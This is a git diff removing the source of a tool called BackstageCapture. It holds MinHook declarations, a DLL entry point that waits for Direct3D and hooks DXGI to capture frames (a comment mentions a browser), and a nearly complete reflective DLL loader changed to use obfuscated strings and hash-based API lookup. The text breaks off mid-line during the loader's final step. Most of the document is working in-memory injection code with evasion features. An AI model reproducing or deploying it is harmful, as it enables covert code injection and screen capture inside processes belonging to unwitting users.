MH_STATUS -{ - // Unknown error. Should not be returned. - MH_UNKNOWN = -1, - - // Successful. - MH_OK = 0, - - // MinHook is already initialized. - MH_ERROR_ALREADY_INITIALIZED, - - // MinHook is not initialized yet, or already uninitialized. - MH_ERROR_NOT_INITIALIZED, - - // The hook for the specified target function is already created. - MH_ERROR_ALREADY_CREATED, - - // The hook for the specified target function is not created yet. - MH_ERROR_NOT_CREATED, - - // The hook for the specified target function is already enabled. - MH_ERROR_ENABLED, - - // The hook for the specified target function is not enabled yet, or already - // disabled. - MH_ERROR_DISABLED, - - // The specified pointer is invalid. It points the address of non-allocated - // and/or non-executable region. - MH_ERROR_NOT_EXECUTABLE, - - // The specified target function cannot be hooked. - MH_ERROR_UNSUPPORTED_FUNCTION, - - // Failed to allocate memory. - MH_ERROR_MEMORY_ALLOC, - - // Failed to change the memory protection. - MH_ERROR_MEMORY_PROTECT, - - // The specified module is not loaded. - MH_ERROR_MODULE_NOT_FOUND, - - // The specified function is not found. - MH_ERROR_FUNCTION_NOT_FOUND -} -MH_STATUS; - -// Can be passed as a parameter to MH_EnableHook, MH_DisableHook, -// MH_QueueEnableHook or MH_QueueDisableHook. -#define MH_ALL_HOOKS NULL - -#ifdef __cplusplus -extern "C" { -#endif - - // Initialize the MinHook library. You must call this function EXACTLY ONCE - // at the beginning of your program. - MH_STATUS WINAPI MH_Initialize(VOID); - - // Uninitialize the MinHook library. You must call this function EXACTLY - // ONCE at the end of your program. - MH_STATUS WINAPI MH_Uninitialize(VOID); - - // Creates a Hook for the specified target function, in disabled state. - // Parameters: - // pTarget [in] A pointer to the target function, which will be - // overridden by the detour function. - // pDetour [in] A pointer to the detour function, which will override - // the target function. - // ppOriginal [out] A pointer to the trampoline function, which will be - // used to call the original target function. - // This parameter can be NULL. - MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID* ppOriginal); - - // Creates a Hook for the specified API function, in disabled state. - // Parameters: - // pszModule [in] A pointer to the loaded module name which contains the - // target function. - // pszTarget [in] A pointer to the target function name, which will be - // overridden by the detour function. - // pDetour [in] A pointer to the detour function, which will override - // the target function. - // ppOriginal [out] A pointer to the trampoline function, which will be - // used to call the original target function. - // This parameter can be NULL. - MH_STATUS WINAPI MH_CreateHookApi( - LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal); - - // Creates a Hook for the specified API function, in disabled state. - // Parameters: - // pszModule [in] A pointer to the loaded module name which contains the - // target function. - // pszTarget [in] A pointer to the target function name, which will be - // overridden by the detour function. - // pDetour [in] A pointer to the detour function, which will override - // the target function. - // ppOriginal [out] A pointer to the trampoline function, which will be - // used to call the original target function. - // This parameter can be NULL. - // ppTarget [out] A pointer to the target function, which will be used - // with other functions. - // This parameter can be NULL. - MH_STATUS WINAPI MH_CreateHookApiEx( - LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal, LPVOID* ppTarget); - - // Removes an already created hook. - // Parameters: - // pTarget [in] A pointer to the target function. - MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget); - - // Enables an already created hook. - // Parameters: - // pTarget [in] A pointer to the target function. - // If this parameter is MH_ALL_HOOKS, all created hooks are - // enabled in one go. - MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget); - - // Disables an already created hook. - // Parameters: - // pTarget [in] A pointer to the target function. - // If this parameter is MH_ALL_HOOKS, all created hooks are - // disabled in one go. - MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget); - - // Queues to enable an already created hook. - // Parameters: - // pTarget [in] A pointer to the target function. - // If this parameter is MH_ALL_HOOKS, all created hooks are - // queued to be enabled. - MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget); - - // Queues to disable an already created hook. - // Parameters: - // pTarget [in] A pointer to the target function. - // If this parameter is MH_ALL_HOOKS, all created hooks are - // queued to be disabled. - MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget); - - // Applies all queued changes in one go. - MH_STATUS WINAPI MH_ApplyQueued(VOID); - - // Translates the MH_STATUS to its name as a string. - const char* WINAPI MH_StatusToString(MH_STATUS status); - -#ifdef __cplusplus -} -#endif diff --git a/BackstageCapture/src/ReflectiveDLLInjection.h b/BackstageCapture/src/ReflectiveDLLInjection.h deleted file mode 100644 index 72fd96b..0000000 --- a/BackstageCapture/src/ReflectiveDLLInjection.h +++ /dev/null @@ -1,51 +0,0 @@ -//===============================================================================================// -// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, are permitted -// provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, this list of -// conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, this list of -// conditions and the following disclaimer in the documentation and/or other materials provided -// with the distribution. -// -// * Neither the name of Harmony Security nor the names of its contributors may be used to -// endorse or promote products derived from this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR -// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND -// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR -// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR -// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -// POSSIBILITY OF SUCH DAMAGE. -//===============================================================================================// -#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H -#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H -//===============================================================================================// -#define WIN32_LEAN_AND_MEAN -#include - -// we declare some common stuff in here... - -#define DLL_QUERY_HMODULE 6 - -#define DEREF( name )*(UINT_PTR *)(name) -#define DEREF_64( name )*(DWORD64 *)(name) -#define DEREF_32( name )*(DWORD *)(name) -#define DEREF_16( name )*(WORD *)(name) -#define DEREF_8( name )*(BYTE *)(name) - -typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID); -typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID); - -#define DLLEXPORT __declspec( dllexport ) - -//===============================================================================================// -#endif -//===============================================================================================// diff --git a/BackstageCapture/src/ReflectiveDll.c b/BackstageCapture/src/ReflectiveDll.c deleted file mode 100644 index cc1c832..0000000 --- a/BackstageCapture/src/ReflectiveDll.c +++ /dev/null @@ -1,61 +0,0 @@ -//===============================================================================================// -// BackstageCapture — ReflectiveDll.c -// -// Entry point for the reflective DLL. Called by ReflectiveLoader after the DLL -// is mapped into memory. Defers DXGI hook installation to a worker thread -// because DllMain runs under the loader lock and cannot safely call -// LoadLibrary / D3D11CreateDeviceAndSwapChain. -//===============================================================================================// -#include "ReflectiveLoader.h" -#include "DXGICapture.h" - -extern HINSTANCE hAppInstance; - -static HANDLE g_InitThread = NULL; - -// Worker thread: waits for d3d11.dll to appear, then installs hooks. -static DWORD WINAPI DeferredInit(LPVOID param) -{ - (void)param; - // Poll for d3d11.dll up to 60 seconds (browser may take a while) - for (int i = 0; i < 600; i++) { - if (GetModuleHandleA("d3d11.dll") != NULL) - break; - Sleep(100); - } - if (GetModuleHandleA("d3d11.dll") == NULL) { - // Process never loaded D3D11 — nothing to hook - return 0; - } - // Brief delay for swapchain creation - Sleep(500); - InstallDXGICapture(); - return 0; -} - -BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) -{ - BOOL bReturnValue = TRUE; - - switch (dwReason) - { - case DLL_PROCESS_ATTACH: - hAppInstance = hinstDLL; - DisableThreadLibraryCalls(hinstDLL); - g_InitThread = CreateThread(NULL, 0, DeferredInit, NULL, 0, NULL); - break; - case DLL_PROCESS_DETACH: - if (g_InitThread) { - WaitForSingleObject(g_InitThread, 5000); - CloseHandle(g_InitThread); - g_InitThread = NULL; - } - RemoveDXGICapture(); - break; - case DLL_THREAD_ATTACH: - case DLL_THREAD_DETACH: - break; - } - - return bReturnValue; -} diff --git a/BackstageCapture/src/ReflectiveLoader.c b/BackstageCapture/src/ReflectiveLoader.c deleted file mode 100644 index bc2ac76..0000000 --- a/BackstageCapture/src/ReflectiveLoader.c +++ /dev/null @@ -1,549 +0,0 @@ -//===============================================================================================// -// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, are permitted -// provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, this list of -// conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, this list of -// conditions and the following disclaimer in the documentation and/or other materials provided -// with the distribution. -// -// * Neither the name of Harmony Security nor the names of its contributors may be used to -// endorse or promote products derived from this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR -// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND -// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR -// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR -// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -// POSSIBILITY OF SUCH DAMAGE. -//===============================================================================================// -#include "ReflectiveLoader.h" -#include "obfstr.h" -//===============================================================================================// -// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value -HINSTANCE hAppInstance = NULL; -// Store the parameter passed to ReflectiveLoader so DllMain can access it -LPVOID g_lpReflectiveParameter = NULL; -//===============================================================================================// -#ifdef _MSC_VER -#pragma intrinsic(_ReturnAddress) -#define RDI_NOINLINE __declspec(noinline) -#else -#define RDI_NOINLINE __attribute__((noinline)) -#endif - -// This function can not be inlined by the compiler or we will not get the address we expect. Ideally -// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of -// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics -// available (and no inline asm available under x64). -RDI_NOINLINE ULONG_PTR caller(VOID) -{ -#ifdef _MSC_VER - return (ULONG_PTR)_ReturnAddress(); -#elif defined(__GNUC__) || defined(__clang__) - // For MinGW/Clang, use GCC builtins and extract helper for target-specific safety. - return (ULONG_PTR)__builtin_extract_return_addr(__builtin_return_address(0)); -#else - return 0; -#endif -} -//===============================================================================================// - -// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, -// otherwise the DllMain at the end of this file will be used. - -// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, -// otherwise it is assumed you are calling the ReflectiveLoader via a stub. - -// This is our position independent reflective DLL loader/injector -#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR -DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter) -#else -DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID) -#endif -{ - // the functions we need - LOADLIBRARYA pLoadLibraryA = NULL; - GETPROCADDRESS pGetProcAddress = NULL; - VIRTUALALLOC pVirtualAlloc = NULL; - NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; -#ifdef WIN_X64 - FARPROC pRtlAddFunctionTable = NULL; -#endif - - USHORT usCounter; - - // the initial location of this image in memory - ULONG_PTR uiLibraryAddress; - // the kernels base address and later this images newly loaded base address - ULONG_PTR uiBaseAddress; - - // variables for processing the kernels export table - ULONG_PTR uiAddressArray; - ULONG_PTR uiNameArray; - ULONG_PTR uiExportDir; - ULONG_PTR uiNameOrdinals; - DWORD dwHashValue; - - // variables for loading this image - ULONG_PTR uiHeaderValue; - ULONG_PTR uiValueA; - ULONG_PTR uiValueB; - ULONG_PTR uiValueC; - ULONG_PTR uiValueD; - ULONG_PTR uiValueE; - - // STEP 0: calculate our images current base address - - // we will start searching backwards from our callers return address. - uiLibraryAddress = caller(); - - // loop through memory backwards searching for our images base address - // we dont need SEH style search as we shouldnt generate any access violations with this - while (TRUE) - { - if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE) - { - uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; - // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), - // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. - if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024) - { - uiHeaderValue += uiLibraryAddress; - // break if we have found a valid MZ/PE header - if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE) - break; - } - } - uiLibraryAddress--; - } - - // STEP 1: process the kernels exports for the functions our loader needs... - - // get the Process Enviroment Block -#ifdef WIN_X64 - uiBaseAddress = __readgsqword(0x60); -#else -#ifdef WIN_X86 - uiBaseAddress = __readfsdword(0x30); -#else WIN_ARM - uiBaseAddress = *(DWORD*)((BYTE*)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30); -#endif -#endif - - // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx - uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; - - // get the first entry of the InMemoryOrder module list - uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; - while (uiValueA) - { - // get pointer to current modules name (unicode string) - uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; - // set bCounter to the length for the loop - usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; - // clear uiValueC which will store the hash of the module name - uiValueC = 0; - - // compute the hash of the module name... - do - { - uiValueC = ror((DWORD)uiValueC); - // normalize to uppercase if the madule name is in lowercase - if (*((BYTE*)uiValueB) >= 'a') - uiValueC += *((BYTE*)uiValueB) - 0x20; - else - uiValueC += *((BYTE*)uiValueB); - uiValueB++; - } while (--usCounter); - - // compare the hash with that of kernel32.dll - if ((DWORD)uiValueC == KERNEL32DLL_HASH) - { - // get this modules base address - uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; - - // get the VA of the modules NT Header - uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; - - // uiNameArray = the address of the modules export directory entry - uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; - - // get the VA of the export directory - uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); - - // get the VA for the array of name pointers - uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames); - - // get the VA for the array of name ordinals - uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals); - - usCounter = 3; - - // loop while we still have imports to find - while (usCounter > 0) - { - // compute the hash values for this function name - dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray))); - - // if we have found a function we want we get its virtual address - if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH) - { - // get the VA for the array of addresses - uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); - - // use this functions name ordinal as an index into the array of name pointers - uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); - - // store this functions VA - if (dwHashValue == LOADLIBRARYA_HASH) - pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray)); - else if (dwHashValue == GETPROCADDRESS_HASH) - pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray)); - else if (dwHashValue == VIRTUALALLOC_HASH) - pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray)); - - // decrement our counter - usCounter--; - } - - // get the next exported function name - uiNameArray += sizeof(DWORD); - - // get the next exported function name ordinal - uiNameOrdinals += sizeof(WORD); - } - } - else if ((DWORD)uiValueC == NTDLLDLL_HASH) - { - // get this modules base address - uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; - - // get the VA of the modules NT Header - uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; - - // uiNameArray = the address of the modules export directory entry - uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; - - // get the VA of the export directory - uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); - - // get the VA for the array of name pointers - uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames); - - // get the VA for the array of name ordinals - uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals); - - usCounter = 1; - - // loop while we still have imports to find - while (usCounter > 0) - { - // compute the hash values for this function name - dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray))); - - // if we have found a function we want we get its virtual address - if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH) - { - // get the VA for the array of addresses - uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); - - // use this functions name ordinal as an index into the array of name pointers - uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); - - // store this functions VA - if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH) - pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray)); - - // decrement our counter - usCounter--; - } - - // get the next exported function name - uiNameArray += sizeof(DWORD); - - // get the next exported function name ordinal - uiNameOrdinals += sizeof(WORD); - } - } - - // we stop searching when we have found everything we need. - if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache) - break; - - // get the next entry - uiValueA = DEREF(uiValueA); - } - -#ifdef WIN_X64 - { - HMODULE hNtdll = (HMODULE)pLoadLibraryA(OBFS(_enc_ntdll_dll)); - if (hNtdll) - pRtlAddFunctionTable = pGetProcAddress(hNtdll, OBFS(_enc_RtlAddFunctionTable)); - } -#endif - - // STEP 2: load our image into a new permanent location in memory... - - // get the VA of the NT Header for the PE to be loaded - uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; - - // allocate all the memory for the DLL to be loaded into. we can load at any address because we will - // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. - uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); - - // we must now copy over the headers - uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; - uiValueB = uiLibraryAddress; - uiValueC = uiBaseAddress; - - while (uiValueA--) - *(BYTE*)uiValueC++ = *(BYTE*)uiValueB++; - - // STEP 3: load in all of our sections... - - // uiValueA = the VA of the first section - uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader); - - // itterate through all sections, loading them into memory. - uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; - while (uiValueE--) - { - // uiValueB is the VA for this section - uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress); - - // uiValueC if the VA for this sections data - uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData); - - // copy the section over - uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; - - while (uiValueD--) - *(BYTE*)uiValueB++ = *(BYTE*)uiValueC++; - - // get the VA of the next section - uiValueA += sizeof(IMAGE_SECTION_HEADER); - } - - // STEP 4: process our images import table... - - // uiValueB = the address of the import directory - uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; - - // we assume their is an import table to process - // uiValueC is the first entry in the import table - uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); - - // itterate through all imports - while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name) - { - // use LoadLibraryA to load the imported module into memory - uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)); - - // uiValueD = VA of the OriginalFirstThunk - uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk); - - // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) - uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk); - - // itterate through all imported functions, importing by ordinal if no name present - while (DEREF(uiValueA)) - { - // sanity check uiValueD as some compilers only import by FirstThunk - if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG) - { - // get the VA of the modules NT Header - uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; - - // uiNameArray = the address of the modules export directory entry - uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; - - // get the VA of the export directory - uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); - - // get the VA for the array of addresses - uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); - - // use the import ordinal (- export ordinal base) as an index into the array of addresses - uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD)); - - // patch in the address for this imported function - DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray)); - } - else - { - // get the VA of this functions import by name struct - uiValueB = (uiBaseAddress + DEREF(uiValueA)); - - // use GetProcAddress and patch in the address for this imported function - DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name); - } - // get the next imported function - uiValueA += sizeof(ULONG_PTR); - if (uiValueD) - uiValueD += sizeof(ULONG_PTR); - } - - // get the next import - uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR); - } - - // STEP 5: process all of our images relocations... - - // calculate the base address delta and perform relocations (even if we load at desired image base) - uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; - - // uiValueB = the address of the relocation directory - uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; - - // check if their are any relocations present - if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size) - { - // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) - uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); - - // and we itterate through all entries... - while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock) - { - // uiValueA = the VA for this relocation block - uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress); - - // uiValueB = number of entries in this relocation block - uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC); - - // uiValueD is now the first entry in the current relocation block - uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); - - // we itterate through all the entries in the current block... - while (uiValueB--) - { - // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. - // we dont use a switch statement to avoid the compiler building a jump table - // which would not be very position independent! - if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64) - *(ULONG_PTR*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; - else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW) - *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; -#ifdef WIN_ARM - // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. - else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T) - { - register DWORD dwInstruction; - register DWORD dwAddress; - register WORD wImm; - // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) - dwInstruction = *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)); - // flip the words to get the instruction as expected - dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); - // sanity chack we are processing a MOV instruction... - if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT) - { - // pull out the encoded 16bit value (the high portion of the address-to-relocate) - wImm = (WORD)(dwInstruction & 0x000000FF); - wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); - wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); - wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); - // apply the relocation to the target address - dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF; - // now create a new instruction with the same opcode and register param. - dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2); - // patch in the relocated address... - dwInstruction |= (DWORD)(dwAddress & 0x00FF); - dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; - dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; - dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; - // now flip the instructions words and patch back into the code... - *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); - } - } -#endif - else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH) - *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); - else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW) - *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); - - // get the next entry in the current relocation block - uiValueD += sizeof(IMAGE_RELOC); - } - - // get the next entry in the relocation directory - uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; - } - } - - // STEP 5b: register exception function table (.pdata) with the OS. -#ifdef WIN_X64 - if (pRtlAddFunctionTable) - { - PIMAGE_NT_HEADERS pLoadedNtHdrs = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); - if (pLoadedNtHdrs->OptionalHeader.NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_EXCEPTION) - { - PIMAGE_DATA_DIRECTORY pExcDir = &pLoadedNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION]; - if (pExcDir->VirtualAddress && pExcDir->Size) - { - typedef BOOLEAN(NTAPI* RTLADDFNTABLE)(PRUNTIME_FUNCTION, DWORD, DWORD64); - ((RTLADDFNTABLE)pRtlAddFunctionTable)( - (PRUNTIME_FUNCTION)(uiBaseAddress + pExcDir->VirtualAddress), - pExcDir->Size / sizeof(RUNTIME_FUNCTION), - (DWORD64)uiBaseAddress - ); - } - } - } -#endif - - // STEP 6: call our images entry point - - // uiValueA = the VA of our newly loaded 